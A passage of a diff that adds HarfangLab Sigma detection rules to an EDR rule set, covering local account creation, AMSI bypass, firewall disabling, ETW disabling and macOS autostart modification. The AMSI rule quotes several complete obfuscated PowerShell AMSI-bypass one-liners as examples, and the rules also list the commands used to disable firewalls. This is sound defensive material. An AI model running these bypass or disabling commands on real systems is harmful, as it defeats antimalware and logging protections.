not 1 of filter_* and not 1 of exclusion_*\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4b16ffcc-7a4d-49a7-9018-19944c4ae417",
+  "rule_name": "Local User Account Created via net.exe",
+  "rule_description": "Detects the creation of a local user account via net1.exe.\nAdversaries may create a local account to maintain access to victim systems.\nIt is recommended to analyze the parent process and more generally the execution context to look malicious content or actions.\n",
+  "rule_creation_date": "2021-03-15",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1136.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4b7cfcaf-9e29-4919-b8df-4ffe8ea129b2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072101Z",
+  "creation_date": "2026-03-23T11:45:34.072103Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072108Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-PowerShell",
+    "http://amsi.fail/",
+    "https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_powershell_amsi_bypass.yml",
+  "content": "title: AMSI Bypassed via PowerShell\nid: 4b7cfcaf-9e29-4919-b8df-4ffe8ea129b2\ndescription: |\n    Detects when the Antimalware Scan Interface (AMSI) is being bypassed using a PowerShell script.\n    Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities.\n    It is recommended to investigate the PowerShell command and the parent process for suspicious activities.\nreferences:\n    - https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-PowerShell\n    - http://amsi.fail/\n    - https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2021/06/22\nmodified: 2025/06/06\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1562.006\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.AMSIBypass\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    # Amsi ScanBuffer Patch\n    selection_scanbuffer_patch:\n        PowershellCommand|contains|all:\n            - 'kernel32'\n            - 'GetProcAddress'\n            - 'LoadLibrary'\n            - 'VirtualProtect'\n            - 'amsi'\n\n    selection_scanbuffer_patch_inmemory:\n        PowershellCommand|contains|all:\n            - '[Reflection.Assembly]::Load'\n            - 'System.Management.Automation.PSTypeName'\n\n    # https://hastebin.com/seyapuzanu.md\n    # $A=\"5492868772801748688168747280728187173688878280688776828\"\n    # $B=\"1173680867656877679866880867644817687416876797271\"\n    # [Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).\n    # substring(($_*2),2))})-replace \" \" ).\n    # GetField([string](38..51|%{[char][int](29+($A+$B).\n    # substring(($_*2),2))})-replace \" \",'Non' + 'Public,Static').\n    # SetValue($null,$true)\n    selection_matt_graebers:\n        PowershellCommand|contains|all:\n            - '[Ref].Assembly.GetType(*)'\n            - 'GetField(*)'\n            - 'SetValue($null,$true)'\n            - 'Non'\n            - 'Public,Static'\n            - '[char][int](*)'\n            - 'substring'\n            - '-replace'\n\n    selection_matt_graebers_reflection:\n        PowershellCommand|contains|all:\n            - 'System.Management.Automation.AmsiUtils'\n            - 'amsiInitFailed'\n            - 'SetValue'\n\n    # Example: [Ref].Assembly.GetType($kdmaqxys).GetField($(('ámsîÎ'+'nítFá'+'íled').NoRmALIZE([chAR](70)+[char](111+94-94)+[CHaR]([bYte]0x72)+[CHaR]([ByTE]0x6d)+[cHAR](38+30)) -replace [ChAr]([bytE]0x5c)+[cHAR](112)+[ChAr]([bYTe]0x7b)+[cHAr](77)+[CHaR]([bYTe]0x6e)+[cHar](125*39/39)),\"NonPublic,Static\").SetValue($IVnsGO,$true);\n    selection_matt_graebers_reflection_extended:\n        PowershellCommand|contains|all:\n            - '[Ref].Assembly.GetType(*).GetField($(*),\"NonPublic,Static\").SetValue(*,$true);'\n            - '+[Char]([byte]0x??)'\n\n    # Example: [Runtime.InteropServices.Marshal]::(\"$(('Wrít'+'eÎnt'+'32').NoRmAlize([cHAr](70)+[CHAR](20+91)+[cHaR](114)+[chAR](101+8)+[cHar]([ByTe]0x44)) -replace [cHAR]([BytE]0x5c)+[char]([BYte]0x70)+[cHar](123*40/40)+[char](77+68-68)+[cHaR]([BYte]0x6e)+[char](81+44))\")([Ref].Assembly.GetType($rwdjas).GetField(\"$(('àmsì'+'Cónt'+'ext').norMalIZe([ChaR]([bYte]0x46)+[cHar]([BYTe]0x6f)+[CHAr]([BytE]0x72)+[cHAr]([bYtE]0x6d)+[CHAR](68)) -replace [chAR](92*69/69)+[char]([byTE]0x70)+[CHaR]([byte]0x7b)+[CHAr]([bYTe]0x4d)+[CHAR]([byte]0x6e)+[chAr]([ByTe]0x7d))\",[Reflection.BindingFlags]\"NonPublic,Static\").GetValue($S),0x65f00ba7);\n    selection_matt_graebers_reflection_second_method:\n        PowershellCommand|contains|all:\n            - '[Runtime.InteropServices.Marshal]::(\"$(*)\")([Ref].Assembly.GetType(*).GetField(\"$(*)\",[Reflection.BindingFlags]\"NonPublic,Static\").GetValue(*),0x????????);'\n            - '+[Char]([byte]0x??)'\n\n    # Example: [Delegate]::CreateDelegate((\"Func``3[String, $(([String].Assembly.GetType($([chaR]([bYte]0x53)+[ChAR]([bytE]0x79)+[chAR]([bYte]0x73)+[chaR]([byTe]0x74)+[cHAR](101)+[chAR]([byte]0x6d)+[CHAR]([bYte]0x2e)+[cHAr](82*75/75)+[CHar](101)+[chAR](102+27-27)+[chaR](39+69)+[chAr]([byTE]0x65)+[CHAr]([BYtE]0x63)+[cHaR]([BYte]0x74)+[ChAr](105*47/47)+[Char]([BYTe]0x6f)+[ChaR]([BytE]0x6e)+[ChAr](46)+[chaR](66*17/17)+[ChAr]([BYTe]0x69)+[chAR](110)+[chaR](100*37/37)+[cHAR]([byte]0x69)+[chAR](85+25)+[char](89+14)+[CHar](70)+[ChAR]([BytE]0x6c)+[ChAr](26+71)+[ChAr](53+50)+[cHAR]([bYTE]0x73)))).FullName), $([chaR](83)+[Char](121+89-89)+[CHar]([bytE]0x73)+[ChaR]([bYtE]0x74)+[ChAr]([bYte]0x65)+[ChAr](109*103/103)).Reflection.FieldInfo]\" -as [String].Assembly.GetType($([CHar]([bYtE]0x53)+[Char]([ByTe]0x79)+[cHAR](115+12-12)+[cHAr](116)+[cHar](58+43)+[char]([BYte]0x6d)+[chAR]([bYte]0x2e)+[ChaR](84*5/5)+[ChaR](121+93-93)+[CHaR]([byte]0x70)+[cHaR]([bYTe]0x65)))), [Object]([Ref].Assembly.GetType($qgmaiwhn)),($([CHAR]([byTe]0x47)+[chaR](47+54)+[cHaR]([bYtE]0x74)+[CHAR](70*35/35)+[CHaR]([bYTe]0x69)+[CHar](101*99/99)+[chaR]([byTe]0x6c)+[char](100*25/25)))).Invoke($([char]([byte]0x61)+[cHAr](109)+[chAR]([byTE]0x73)+[ChAR](105)+[CHAr]([BYtE]0x49)+[cHar](23+87)+[ChAr](105)+[cHAR](116+23-23)+[ChAr]([BYte]0x46)+[CHaR](97+54-54)+[ChAr](105+85-85)+[chaR](108*43/43)+[chAR](101*85/85)+[chaR]([BYte]0x64)),((\"NonPublic,Static\") -as [String].Assembly.GetType($([chaR]([bYte]0x53)+[ChAR]([bytE]0x79)+[chAR]([bYte]0x73)+[chaR]([byTe]0x74)+[cHAR](101)+[chAR]([byte]0x6d)+[CHAR]([bYte]0x2e)+[cHAr](82*75/75)+[CHar](101)+[chAR](102+27-27)+[chaR](39+69)+[chAr]([byTE]0x65)+[CHAr]([BYtE]0x63)+[cHaR]([BYte]0x74)+[ChAr](105*47/47)+[Char]([BYTe]0x6f)+[ChaR]([BytE]0x6e)+[ChAr](46)+[chaR](66*17/17)+[ChAr]([BYTe]0x69)+[chAR](110)+[chaR](100*37/37)+[cHAR]([byte]0x69)+[chAR](85+25)+[char](89+14)+[CHar](70)+[ChAR]([BytE]0x6c)+[ChAr](26+71)+[ChAr](53+50)+[cHAR]([bYTE]0x73))))).SetValue($UFfNkIcCX,$True);\n    selection_matt_graebers_reflection_method_with_WMF5_autologging_bypass :\n        PowershellCommand|contains|all:\n            - '[Delegate]::CreateDelegate((\"Func``3[String, $(([String].Assembly.GetType($(*))).FullName), $(*).Reflection.FieldInfo]\" -as [String].Assembly.GetType($(*))), [Object]([Ref].Assembly.GetType($*)),($(*))).Invoke($(*),((\"NonPublic,Static\") -as [String].Assembly.GetType($(*)))).SetValue($*,$True);'\n            - '+[Char]([byte]0x??)'\n\n    # Example: [Ref].Assembly.GetType(\"$(('Sys'+'tem').NOrMalIze([chaR](46+24)+[chAr](111+75-75)+[Char](114*89/89)+[ChaR]([bytE]0x6d)+[cHar](68+33-33)) -replace [ChaR]([bYte]0x5c)+[cHAr]([byTE]0x70)+[cHAr](123*74/74)+[chaR]([ByTE]0x4d)+[CHar](104+6)+[cHar](125+27-27)).$(('Mänàgeme'+'nt').norMaLIZe([chAR](70*33/33)+[cHAr]([byte]0x6f)+[CHAR](103+11)+[chAr]([bYTE]0x6d)+[CHaR]([bYte]0x44)) -replace [CHar](92*12/12)+[chaR](112+67-67)+[CHar]([byTe]0x7b)+[ChaR]([byte]0x4d)+[CHaR]([BYtE]0x6e)+[CHar]([bytE]0x7d)).$(('Âutóm'+'ãtíôn').nOrmaLIZE([char]([byTe]0x46)+[CHaR](82+29)+[chAR]([ByTE]0x72)+[ChAR](100+9)+[CHaR](68)) -replace [CHar]([bYte]0x5c)+[cHAr]([bYte]0x70)+[ChaR]([bytE]0x7b)+[cHaR](39+38)+[CHAr](110+86-86)+[ChaR]([BYTe]0x7d)).$(('ÀmsîUtí'+'ls').NOrMalIze([Char](70)+[CHar]([bYTE]0x6f)+[CHAR]([bYtE]0x72)+[cHar]([byTe]0x6d)+[CHAR]([ByTe]0x44)) -replace [ChAr]([bYTe]0x5c)+[CHaR](54+58)+[cHar]([BytE]0x7b)+[CHAr](77*23/23)+[chAr](110+30-30)+[chAr](38+87))\").GetField(\"$([CHaR]([BYtE]0x61)+[ChaR]([byTe]0x6d)+[Char]([bYtE]0x73)+[CHar]([bYtE]0x69)+[ChaR]([BYtE]0x53)+[ChaR]([ByTE]0x65)+[ChAr]([BytE]0x73)+[ChAR](115*22/22)+[ChAr](105+89-89)+[cHAr](111*4/4)+[cHAr](7+103))\", \"NonPublic,Static\").SetValue($c, $null);[Ref].Assembly.GetType(\"$(('Sys'+'tem').NOrMalIze([chaR](46+24)+[chAr](111+75-75)+[Char](114*89/89)+[ChaR]([bytE]0x6d)+[cHar](68+33-33)) -replace [ChaR]([bYte]0x5c)+[cHAr]([byTE]0x70)+[cHAr](123*74/74)+[chaR]([ByTE]0x4d)+[CHar](104+6)+[cHar](125+27-27)).$(('Mänàgeme'+'nt').norMaLIZe([chAR](70*33/33)+[cHAr]([byte]0x6f)+[CHAR](103+11)+[chAr]([bYTE]0x6d)+[CHaR]([bYte]0x44)) -replace [CHar](92*12/12)+[chaR](112+67-67)+[CHar]([byTe]0x7b)+[ChaR]([byte]0x4d)+[CHaR]([BYtE]0x6e)+[CHar]([bytE]0x7d)).$(('Âutóm'+'ãtíôn').nOrmaLIZE([char]([byTe]0x46)+[CHaR](82+29)+[chAR]([ByTE]0x72)+[ChAR](100+9)+[CHaR](68)) -replace [CHar]([bYte]0x5c)+[cHAr]([bYte]0x70)+[ChaR]([bytE]0x7b)+[cHaR](39+38)+[CHAr](110+86-86)+[ChaR]([BYTe]0x7d)).$(('ÀmsîUtí'+'ls').NOrMalIze([Char](70)+[CHar]([bYTE]0x6f)+[CHAR]([bYtE]0x72)+[cHar]([byTe]0x6d)+[CHAR]([ByTe]0x44)) -replace [ChAr]([bYTe]0x5c)+[CHaR](54+58)+[cHar]([BytE]0x7b)+[CHAr](77*23/23)+[chAr](110+30-30)+[chAr](38+87))\").GetField(\"$(('äms'+'ìCõ'+'nte'+'xt').NORMAliZe([CHAr]([bYTe]0x46)+[chAR]([bYte]0x6f)+[cHAR](114)+[char](109*54/54)+[CHAR]([BYte]0x44)) -replace [cHar](8+84)+[ChAR](35+77)+[CHAr]([BYtE]0x7b)+[cHAR]([byte]0x4d)+[cHar](110*38/38)+[cHAR]([Byte]0x7d))\", \"NonPublic,Static\").SetValue($null, [IntPtr]$pasaaac);\n    selection_unknown_force_error:\n        PowershellCommand|contains|all:\n            - '[Ref].Assembly.GetType(\"$(*).$(*).$(*).$(*)\").GetField(\"$(*)\", \"NonPublic,Static\").SetValue($*, $null);[Ref].Assembly.GetType(\"$(*).$(*).$(*).$(*)\").GetField(\"$(*)\", \"NonPublic,Static\").SetValue($*, [IntPtr]$*);'\n            - '+[Char]([byte]0x??)'\n\n    selection_dll_hijack:\n        PowershellCommand|contains|all:\n            - '$DllBytes'\n            - '[System.IO.File]::WriteAllBytes'\n            - 'amsi.dll'\n\n    selection_nishang_all_in_one_cmdlet:\n        PowershellCommand|contains: 'Invoke-AmsiBypass'\n\n    selection_nishang_all_in_one_subcmds:\n        PowershellCommand|contains|all:\n            - 'unload2'\n            - 'unloadsilent'\n            - 'unloadobfuscated'\n            - 'dllhijack'\n            - 'psv2'\n            - 'obfuscation'\n\n    selection_findamsifun:\n        PowershellCommand|contains: 'FindAmsiFun'\n\n    selection_various:\n        PowershellCommand|contains:\n            - 'Bypass.AMSI'\n            - 'AmsiX64'\n            - 'AmsiX32'\n\n    # https://github.com/Hackplayers/evil-winrm/blob/master/evil-winrm.rb#L1059\n    selection_evil_winrm:\n        PowershellCommand|contains: '[Byte[]] (0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3)'\n\n    exclusion_pdf_processing:\n        PowershellCommand|contains: \"[System.Management.Automation.PSTypeName]'MCopyProtectedPDFProcessingMode'\"\n\n    condition: 1 of selection_* and not (selection_scanbuffer_patch_inmemory and exclusion_pdf_processing)\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4b7cfcaf-9e29-4919-b8df-4ffe8ea129b2",
+  "rule_name": "AMSI Bypassed via PowerShell",
+  "rule_description": "Detects when the Antimalware Scan Interface (AMSI) is being bypassed using a PowerShell script.\nAdversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities.\nIt is recommended to investigate the PowerShell command and the parent process for suspicious activities.\n",
+  "rule_creation_date": "2021-06-22",
+  "rule_modified_date": "2025-06-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1562.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4bad3446-0e5e-44b4-9fd5-3bb35c6d7625",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086500Z",
+  "creation_date": "2026-03-23T11:45:34.086502Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086506Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.004/T1562.004.md",
+    "https://attack.mitre.org/techniques/T1562/004/",
+    "https://attack.mitre.org/techniques/T1489/"
+  ],
+  "name": "t1562_004_disable_firewall.yml",
+  "content": "title: Firewall Disabled\nid: 4bad3446-0e5e-44b4-9fd5-3bb35c6d7625\ndescription: |\n    Detects when a common firewall provider (ufw, firewalld, etc.) is disabled.\n    Adversaries may disable or modify the system firewall in order to bypass controls limiting network usage.\n    It is recommended to investigate suspicious network connections following this action and to look for other malicious behaviors from the process ancestors.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.004/T1562.004.md\n    - https://attack.mitre.org/techniques/T1562/004/\n    - https://attack.mitre.org/techniques/T1489/\ndate: 2021/09/22\nmodified: 2025/07/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.004\n    - attack.impact\n    - attack.t1489\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.ServiceStop\n    - classification.Linux.Behavior.ImpairDefenses\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_systemctl:\n        Image|endswith: '/systemctl'\n        CommandLine|contains:\n            # Optional options can be placed anywhere in the command line (including in between)\n\n            # UFW\n            - ' stop *ufw'\n            - ' disable *ufw'\n\n            # firewalld (default on RHEL/CentOS)\n            - ' stop *firewalld'\n            - ' disable *firewalld'\n\n    selection_systemd_manual:\n        Image|endswith: '/rm'\n        CommandLine|contains:\n          - '/etc/systemd/system/multi-user.target.wants/ufw.service'\n          - '/etc/systemd/system/multi-user.target.wants/firewalld.service'\n\n    selection_ufw_command_disable_python:\n        Image:\n          - '*/python'\n          - '*/python?'\n          - '*/python?.?'\n        CommandLine:\n          - '*ufw* logging* off*'\n          - '*ufw* disable*'\n\n    # NOTE: This is not detailed in the documentation but ufw use ufw-init script to handle its operations.\n    selection_ufw_command_disable:\n        Image|endswith:\n            - '/sh'\n            - '/bash'\n            - '/dash'\n            - '/zsh'\n        CommandLine:\n          - '*ufw-init* stop*'\n          - '*ufw-init* force-stop*'\n\n    exclusion_reload:\n        ParentImage|endswith:\n            - '/python'\n            - '/python?'\n            - '/python?.?'\n        ParentCommandLine|endswith:\n            - ' /sbin/ufw reload'\n            - ' /usr/sbin/ufw reload'\n\n    exclusion_dpkg:\n        GrandparentImage: '/usr/bin/dpkg'\n\n    exclusion_enovacom:\n        ParentCommandLine: '/bin/bash /enovacom/CPSureProxy/bin/disable_firewalld.sh'\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4bad3446-0e5e-44b4-9fd5-3bb35c6d7625",
+  "rule_name": "Firewall Disabled",
+  "rule_description": "Detects when a common firewall provider (ufw, firewalld, etc.) is disabled.\nAdversaries may disable or modify the system firewall in order to bypass controls limiting network usage.\nIt is recommended to investigate suspicious network connections following this action and to look for other malicious behaviors from the process ancestors.\n",
+  "rule_creation_date": "2021-09-22",
+  "rule_modified_date": "2025-07-15",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1489",
+    "attack.t1562.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4bb43217-fb12-4f07-9618-ffcfdc609ae7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085051Z",
+  "creation_date": "2026-03-23T11:45:34.085053Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085058Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://research.splunk.com/endpoint/8ed523ac-276b-11ec-ac39-acde48001122/",
+    "https://gist.github.com/Cyb3rWard0g/a4a115fd3ab518a0e593525a379adee3",
+    "https://attack.mitre.org/techniques/T1562/002/"
+  ],
+  "name": "t1562_001_windows_etw_disabled.yml",
+  "content": "title: ETW Disabled via Registry Modification\nid: 4bb43217-fb12-4f07-9618-ffcfdc609ae7\ndescription: |\n    Detects a registry modification to set the \"ETWEnabled\" registry key to 0 in order to disable ETW.\n    Event Tracing for Windows (ETW) provides a mechanism to trace and log events that are raised by user-mode applications and kernel-mode drivers.\n    Attackers may attempt to disable it to reduce detection from EDRs and other defensive tools.\n    It is recommended to analyze the process responsible for the registry change to look for malicious content or actions.\nreferences:\n    - https://research.splunk.com/endpoint/8ed523ac-276b-11ec-ac39-acde48001122/\n    - https://gist.github.com/Cyb3rWard0g/a4a115fd3ab518a0e593525a379adee3\n    - https://attack.mitre.org/techniques/T1562/002/\ndate: 2023/03/20\nmodified: 2025/02/13\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.002\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\.NETFramework\\ETWEnabled'\n        Details:\n            - 'DWORD (0x00000000)'\n            - 'QWORD (0x00000000-0x00000000)'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4bb43217-fb12-4f07-9618-ffcfdc609ae7",
+  "rule_name": "ETW Disabled via Registry Modification",
+  "rule_description": "Detects a registry modification to set the \"ETWEnabled\" registry key to 0 in order to disable ETW.\nEvent Tracing for Windows (ETW) provides a mechanism to trace and log events that are raised by user-mode applications and kernel-mode drivers.\nAttackers may attempt to disable it to reduce detection from EDRs and other defensive tools.\nIt is recommended to analyze the process responsible for the registry change to look for malicious content or actions.\n",
+  "rule_creation_date": "2023-03-20",
+  "rule_modified_date": "2025-02-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1562.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4bd7a98e-5886-432f-ba63-9789c0b7ae70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093585Z",
+  "creation_date": "2026-03-23T11:45:34.093587Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093591Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1547/"
+  ],
+  "name": "t1547_autostart_file_modified.yml",
+  "content": "title: Autostart File Modified\nid: 4bd7a98e-5886-432f-ba63-9789c0b7ae70\ndescription: |\n    Detects the login startup file being modified by a suspicious process.\n    This file holds which programs should be automatically started when the machine reboots.\n    Attackers can modify this file to include their payload, thus establishing a persistence.\n    It is recommended to investigate the process that did the modification and what programs was added to the list.\nreferences:\n    - https://attack.mitre.org/techniques/T1547/\ndate: 2024/07/03\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547\n    - attack.defense_evasion\n    - attack.t1647\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.Persistence\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n\n    selection_files:\n        Path|endswith: 'com.apple.loginwindow.plist'\n        Kind: 'write'\n        ProcessImage|contains: '?'\n\n    filter_legitimate:\n        Image|endswith:\n            - '/systemmigrationd'\n            - '/DesktopServicesHelper'\n            - '/diskmanagementd'\n            - '/rsync'\n            - '/launchd'\n            - '/cfprefsd'\n            - '/xpcproxy'\n            - '/ManagedClient'\n            - '/MCXCompositor'\n            - '/backupd'\n            - '/storagekitd'\n            - '/CloneKitService'\n            - '/LWWeeklyMessageTracer'\n\n    condition: all of selection_* and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4bd7a98e-5886-432f-ba63-9789c0b7ae70",
+  "rule_name": "Autostart File Modified",
+  "rule_description": "Detects the login startup file being modified by a suspicious process.\nThis file holds which programs should be automatically started when the machine reboots.\nAttackers can modify this file to include their payload, thus establishing a persistence.\nIt is recommended to investigate the process that did the modification and what programs was added to the list.\n",
+  "rule_creation_date": "2024-07-03",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1547",
+    "attack.t1647"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4bda5ac1-8161-4338-88d4-bdb0ab0899ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076783Z",
+  "creation_date": "2026-03-23T11:45:34.076785Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076789Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
